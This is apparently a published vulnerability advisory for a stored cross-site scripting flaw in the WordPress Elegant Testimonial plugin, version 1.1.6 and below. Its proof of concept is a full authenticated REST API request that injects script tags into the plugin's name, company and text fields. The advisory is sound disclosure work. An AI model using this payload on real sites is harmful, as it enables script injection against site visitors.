WordPress Elegant Testimonial 1.1.6 Persistent Cross Site Scripting

WordPress Elegant Testimonial plugin version 1.1.6 suffers from a persistent cross site scripting vulnerability.

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# Exploit Title: WordPress Elegant Testimonial Plugin v1.1.6 - Persistent Cross-Site Scripting
# Date: 2020-08-18
# Vendor Homepage: https://noorsplugin.com/
# Vendor Changelog: https://wordpress.org/plugins/wp-elegant-testimonial/#developers
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/15/multiple-stored-xss-vulnerabilities-in-woprpress-elegant-testimonial-plugin/
# Author Homepage: https://melbin.in
# Version: 1.1.6 and below

1. Description

WordPress WP Elegant Testimonial Plugin is used to insert testimonials into a WordPress site directly from the post editor. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. The ‘name’, ‘company’ and ‘text’ fields used while adding a testimonial to a page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a user loads a page where the plugin shortcode is used. All WordPress websites using WP Elegant Testimonial Plugin version 1.1.6 and below are affected.

2. Proof of Concept

POST /w/wp-json/wp/v2/posts/277?_locale=user HTTP/1.1
Content-Length: 197
Accept: application/json, */*;q=0.1
X-WP-Nonce: b5b10297e1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":277,"content":"[wp_elegant_testimonial name="<script>alert(0)</script>" company="<script>alert(0)</script>" text="<script>alert(0)</script>" image="https://example.com/example.jpg"]"}

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